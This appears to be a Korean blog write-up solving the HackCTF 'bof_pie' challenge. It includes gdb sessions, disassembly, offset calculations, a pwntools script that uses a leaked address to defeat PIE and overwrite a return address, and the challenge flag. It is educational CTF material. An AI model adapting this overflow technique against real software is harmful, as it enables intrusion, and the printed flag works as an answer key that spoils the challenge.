오늘은 bof_pie문제를 풀어볼 것이다.
먼저 checksec로 파일을 확인해보자.
제목에 맞게 pie가 적용되어있다.
이번에는 어떤 함수가 있는지 살펴보자.(gdb, info func)
All defined functions:
Non-debugging symbols:
0x00000640 _init
0x00000680 printf@plt
0x00000690 fgets@plt
0x000006a0 fclose@plt
0x000006b0 perror@plt
0x000006c0 puts@plt
0x000006d0 __libc_start_main@plt
0x000006e0 setvbuf@plt
0x000006f0 fopen@plt
0x00000700 __isoc99_scanf@plt
0x00000720 _start
0x00000760 __x86.get_pc_thunk.bx
0x00000770 deregister_tm_clones
0x000007b0 register_tm_clones
0x00000800 __do_global_dtors_aux
0x00000850 frame_dummy
0x0000088c __x86.get_pc_thunk.dx
0x00000890 j0n9hyun
0x00000909 welcome
0x00000973 main
0x000009b0 __libc_csu_init
0x00000a10 __libc_csu_fini
0x00000a14 _fini
대표적으로 main, welcome, j0n9hyun이라는 함수들이 있다.
일단 실행을 해보자.
위처럼 j0n9hyun 함수의 주소를 출력하는 것 같고 입력을 받는다.
먼저 main을 디스어셈블 해보자.
Dump of assembler code for function main:
0x56555973 <+0>: lea ecx,[esp+0x4]
0x56555977 <+4>: and esp,0xfffffff0
0x5655597a <+7>: push DWORD PTR [ecx-0x4]
0x5655597d <+10>: push ebp
0x5655597e <+11>: mov ebp,esp
0x56555980 <+13>: push ecx
0x56555981 <+14>: sub esp,0x4
0x56555984 <+17>: call 0x56555909 <welcome>
0x56555989 <+22>: sub esp,0xc
0x5655598c <+25>: push 0xa6d
0x56555991 <+30>: call 0x56555992 <main+31>
0x56555996 <+35>: add esp,0x10
0x56555999 <+38>: mov eax,0x0
0x5655599e <+43>: mov ecx,DWORD PTR [ebp-0x4]
0x565559a1 <+46>: leave
0x565559a2 <+47>: lea esp,[ecx-0x4]
0x565559a5 <+50>: ret
End of assembler dump.
중간에 welcome을 부른다.
그러면 welcome을 디스어셈블 해보자.
Dump of assembler code for function welcome:
0x56555909 <+0>: push ebp
0x5655590a <+1>: mov ebp,esp
0x5655590c <+3>: sub esp,0x18
0x5655590f <+6>: mov eax,ds:0x0
0x56555914 <+11>: push 0x0
0x56555916 <+13>: push 0x2
0x56555918 <+15>: push 0x0
0x5655591a <+17>: push eax
0x5655591b <+18>: call 0x5655591c <welcome+19>
0x56555920 <+23>: add esp,0x10
0x56555923 <+26>: mov eax,ds:0x0
0x56555928 <+31>: push 0x0
0x5655592a <+33>: push 0x2
0x5655592c <+35>: push 0x0
0x5655592e <+37>: push eax
0x5655592f <+38>: call 0x56555930 <welcome+39>
0x56555934 <+43>: add esp,0x10
0x56555937 <+46>: sub esp,0xc
0x5655593a <+49>: push 0xa3d
0x5655593f <+54>: call 0x56555940 <welcome+55>
0x56555944 <+59>: add esp,0x10
0x56555947 <+62>: sub esp,0x8
0x5655594a <+65>: push 0x909
0x5655594f <+70>: push 0xa5a
0x56555954 <+75>: call 0x56555955 <welcome+76>
0x56555959 <+80>: add esp,0x10
0x5655595c <+83>: sub esp,0x8
0x5655595f <+86>: lea eax,[ebp-0x12]
0x56555962 <+89>: push eax
0x56555963 <+90>: push 0xa6a
0x56555968 <+95>: call 0x56555969 <welcome+96>
0x5655596d <+100>: add esp,0x10
0x56555970 <+103>: nop
0x56555971 <+104>: leave
0x56555972 <+105>: ret
End of assembler dump.
음.. 함수이름이 안 나오니 디컴파일을 해보자.
우리가 아까 실행했던 것과 비슷하게 실행된다.
그런데 j0n9hyun의 함수가 아니라 welcome의 함수 주소를 출력하는 것이다.
그러면 마지막으로 j0n9hyun을 디컴파일 해보자
딱 보니 flag를 출력하는 함수 같다.
이제 정리를 하자면 j0n9hyun과 welcome의 offset을 구한 후, 프로그램이 실행될 때 주는 welcome 주소로 j0n9hyun의 주소를 구해서 BOF를 하면 된다.
그러면 이제 ret전까지의 바이트 수를 구해보자. 아래의 명령어로 구한다.
(gdb) b *0x56555909
Breakpoint 1 at 0x56555909
(gdb) b *0x56555968
Breakpoint 2 at 0x56555968
(gdb) r
Starting program: /home/psj/hackctf/pie/bof_pie
Breakpoint 1, 0x56555909 in welcome ()
(gdb) i r esp
esp 0xffffd00c 0xffffd00c
(gdb) c
Continuing.
Hello, Do you know j0n9hyun?
j0n9hyun is 0x56555909
Breakpoint 2, 0x56555968 in welcome ()
(gdb) i r esp
esp 0xffffcfe0 0xffffcfe0
(gdb) x/3wx 0xffffcfe0
0xffffcfe0: 0x56555a6a 0xffffcff6 0x00000002
(gdb) p/d 0xffffd00c-0xffffcff6
$1 = 22
welcome의 시작 주소와 scanf를 call 하는 주소에 브레이크를 걸고 esp를 이용해서 ret전까지 22byte이다.
이제 welcome과 j0n9hyun의 offset을 구해보자.
(gdb) p/x welcome-j0n9hyun
$2 = 0x79
0x79이다. 그러면 j0n9hyun = welcome - 0x79가 된다.
그러면 이제 exploit code를 짜 보자.
from pwn import *
#p = process("./bof_pie")
p = remote("ctf.j0n9hyun.xyz",3008)
p.recvuntil("is ") #recv welocme addr
#welcome-flag = 0x79
flag_addr = int(p.recv(10),16) - 0x79
print(hex(flag_addr))
payload = b"A"*22
payload += p32(flag_addr)
p.sendline(payload)
p.interactive()
이제 python 스크립트를 실행해보자.
이런 식으로 flag가 잘 나온다.
flag : HackCTF{243699563792879976364976468837}
'워게임' 카테고리의 다른 글
Shellcode(쉘코드) 모음 (0) | 2021.07.27 |
---|---|
HackCTF - Simple_Overflow_ver_2 (0) | 2021.07.27 |
HackCTF - x64 Simple_size_BOF (0) | 2021.07.27 |
HackCTF - x64 Buffer Overflow(writeup) (0) | 2021.07.26 |
HackCTF - 내 버퍼가 흘러넘친다!!!!(writeup) (0) | 2021.07.26 |